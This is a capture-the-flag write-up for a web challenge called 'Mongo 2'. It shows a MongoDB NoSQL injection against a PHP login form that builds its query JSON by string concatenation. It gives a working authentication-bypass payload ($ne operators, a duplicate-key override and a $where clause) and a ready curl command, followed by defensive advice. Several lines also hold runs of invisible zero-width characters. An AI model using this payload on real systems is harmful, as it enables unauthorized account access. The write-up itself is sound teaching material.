← Back to Writeups
CUSTOMMediumWeb

Mongo 2

XESXOR9/2/20263 min read
#web#custom#medium#duplicate_json_key_override#json_string_injection#mongodb_query_operator_injecti#nosql_injection_ne_operator#where_operator_bypass

Mongo 2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: duplicate_json_key_override, json_string_injection, mongodb_query_operator_injection, nosql_injection_ne_operator, where_operator_bypass

Summary

Walkthrough of the CUSTOM Web Mongo 2. Task: MongoDB NoSQL injection in PHP 5.5.9 app where arrays are cast to strings. Solution: JSON string concatenation injection with duplicate key override and $where operator bypass.

Description

MongoDB NoSQL injection via JSON string concatenation injection in a PHP 5.5.9 application.

URL: http://kslweb3.spb.ctf.su/2-7/

Analysis

Reconnaissance

  • Login form at /2-7/ with GET parameters login and password
  • Server: PHP 5.5.9 on Apache/Ubuntu behind nginx
  • Application shows a "spoiler" with the JSON query to MongoDB and the parsed PHP object (var_dump)
  • Uses MongoDB PHP driver (MongoDB\Driver\Query)

Key Difference from Mongo 1

  • In Mongo 1 (/2-6/) standard PHP NoSQL injection via arrays worked: login[$ne]=x&password[$ne]=x — PHP arrays were passed directly to the MongoDB query
  • In Mongo 2 (/2-7/) the application casts PHP arrays to strings via (string), which converts arrays to the literal string "Array", blocking the standard approach
  • However, the application builds the MongoDB query JSON via string concatenation (e.g., '{"login": "' . $login . '", "password": "' . $password . '"}') instead of using json_encode(), creating a JSON injection vulnerability ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Failed Approaches

  1. Standard PHP NoSQL injection (login[$ne]=x) — blocked, arrays are cast to string "Array"
  2. POST requests — application only reads GET parameters
  3. JSON Content-Type POST — application ignores POST body
  4. $or injection — $or is combined via AND with top-level login:"x" and password:"x", so literal matches still fail
  5. $where injection alone — same problem with AND, literal field values still must match
  6. Duplicate key injection with garbage fields (e.g., "a": "", "z": "") — MongoDB tries to find documents with these fields equal to empty string, filtering out all results
  7. $comment as garbage field — still returned "user does not exist" (possibly unsupported MongoDB version or empty string issue) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Query Template

The application builds the query using this template:

{"login": "LOGIN", "password": "PASSWORD"}

Key Idea

Inject everything through the password parameter (which comes last in the template), exploiting PHP json_decode behavior where duplicate keys are resolved by keeping the last value.

Payload

login=x
password=x", "login": {"$ne": "x"}, "password": {"$ne": "x"}, "$where": "return true

Resulting JSON Query

json
{"login": "x", "password": "x", "login": {"$ne": "x"}, "password": {"$ne": "x"}, "$where": "return true"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After PHP json_decode (last key wins for duplicates)

login => {$ne: "x"}       — matches any user whose login != "x"
password => {$ne: "x"}    — matches any password != "x"  
$where => "return true"   — always true, and critically — this is a valid MongoDB operator (not a garbage document field)

Why $where is Critical

The key trick is ending with $where: "return true" instead of a regular garbage field like "z": "". Regular fields are interpreted as document field match conditions, filtering out all results. But $where is a MongoDB query operator that executes JavaScript and doesn't add any field match constraints. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploitation

bash
curl -sk -L -G 'http://kslweb3.spb.ctf.su/2-7/' \
  --data-urlencode 'login=x' \
  --data-urlencode 'password=x", "login": {"$ne": "x"}, "password": {"$ne": "x"}, "$where": "return true'

Response

Success, user. You logged in. The flag is: KSL{REDACTED}

Related Tasks

  • Mongo 1 (same event, /2-6/) — basic NoSQL injection via PHP array parameters
  • Documentary Archive (hackerlab) — blind NoSQL injection with $regex extraction
  • Art is an explosion (duckerz) — MongoDB $where bypass ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  • Use json_encode() to build JSON queries
  • Never build JSON via string concatenation with user input
  • Validate and sanitize input data
  • Use parameterized queries or ORM ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering duplicate_json_key_override, json_string_injection, mongodb_query_operator_injection, nosql_injection_ne_operator, where_operator_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-15 • CUSTOM • Mongo 2 • Difficulty: Medium